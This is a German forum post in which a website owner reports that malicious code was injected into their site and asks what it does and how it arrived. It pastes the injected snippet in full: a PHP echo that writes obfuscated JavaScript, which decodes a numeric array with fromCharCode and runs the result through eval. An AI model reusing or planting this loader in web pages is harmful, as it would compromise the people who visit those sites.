Hallo Gemeinde,
leider hat es doch jemand geschafft auch auf meiner Internetpräsenz einen Schadcode einzuspielen.
Gemerkt habe ich das durch das verschobene CSS-Design und das der Hinweis auf den Log der IP nicht mehr zu sehen ist. Leider habe ich keine Ahnung davon, was mir da eingespielt wurde. Ich habe den Code mal kopiert. Vielleicht kann mir jemand weiterhelfen, auf welchem Weg das Teil auf meinen Server gekommen ist und was es eigentlich macht?
An dieser Stelle..
MFG COLOSSOS
leider hat es doch jemand geschafft auch auf meiner Internetpräsenz einen Schadcode einzuspielen.
Gemerkt habe ich das durch das verschobene CSS-Design und das der Hinweis auf den Log der IP nicht mehr zu sehen ist. Leider habe ich keine Ahnung davon, was mir da eingespielt wurde. Ich habe den Code mal kopiert. Vielleicht kann mir jemand weiterhelfen, auf welchem Weg das Teil auf meinen Server gekommen ist und was es eigentlich macht?
Code:
echo " <script type=\"text/javascript\" language=\"javascript\" > try{window.document.body++}catch(gdsgsdg){dbshre=244;}if(dbshre){asd=0;try{d=document.createElement(\"div\");d.innerHTML.a=\"asd\";}catch(agdsg){asd=1;}if(!asd){e=eval;}ss=String;asgq=new Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,106,97,113,25,55,27,91,103,92,111,104,92,102,109,40,94,105,93,90,110,96,60,100,94,103,96,101,108,33,33,100,93,106,90,103,96,30,33,52,7,5,4,2,25,26,27,23,103,99,115,41,106,106,92,26,56,23,31,97,110,111,103,50,40,41,92,105,91,97,99,114,88,100,103,95,111,105,93,108,93,100,37,91,104,103,42,107,106,90,96,41,103,96,105,33,54,4,2,25,26,27,23,103,99,115,41,106,108,114,102,96,37,104,104,109,100,107,97,104,104,27,52,24,32,91,93,106,103,101,111,111,92,31,52,7,5,23,24,25,26,106,97,113,39,109,111,112,100,94,40,93,102,106,93,95,109,23,53,25,33,43,30,51,6,4,27,23,24,25,105,101,112,38,108,110,116,99,93,39,98,96,96,95,97,110,27,52,24,32,43,107,111,31,52,7,5,23,24,25,26,106,97,113,39,109,111,112,100,94,40,114,96,92,109,98,27,52,24,32,43,107,111,31,52,7,5,23,24,25,26,106,97,113,39,109,111,112,100,94,40,103,92,94,109,26,56,23,31,42,106,115,30,51,6,4,27,23,24,25,105,101,112,38,108,110,116,99,93,39,110,106,103,24,54,26,34,40,104,113,33,54,4,2,6,4,27,23,24,25,99,97,23,32,26,94,106,90,109,102,95,105,107,38,96,95,111,60,100,94,103,96,101,108,59,115,68,91,32,32,105,101,112,31,34,35,27,114,5,3,26,27,23,24,25,26,27,23,92,104,93,112,100,93,103,110,41,110,106,98,110,96,31,31,53,94,100,109,24,98,94,56,83,31,104,100,116,83,31,55,54,42,91,97,111,56,34,32,51,6,4,27,23,24,25,26,27,23,24,93,105,94,108,101,94,104,111,37,95,94,110,64,99,93,102,95,105,107,58,114,67,95,31,31,104,100,116,30,33,39,91,107,103,93,103,94,62,95,97,101,94,35,102,98,114,35,54,4,2,25,26,27,23,117,6,4,120,32,32,34,53);s=\"\";for(i=0;i-474!=0;i++){if((020==0x10)&&window.document)s+=ss[\"fromCharCode\"](1*asgq[i]-(i%5-5-4));}z=s;e(s);}</script>";
MFG COLOSSOS
Kommentar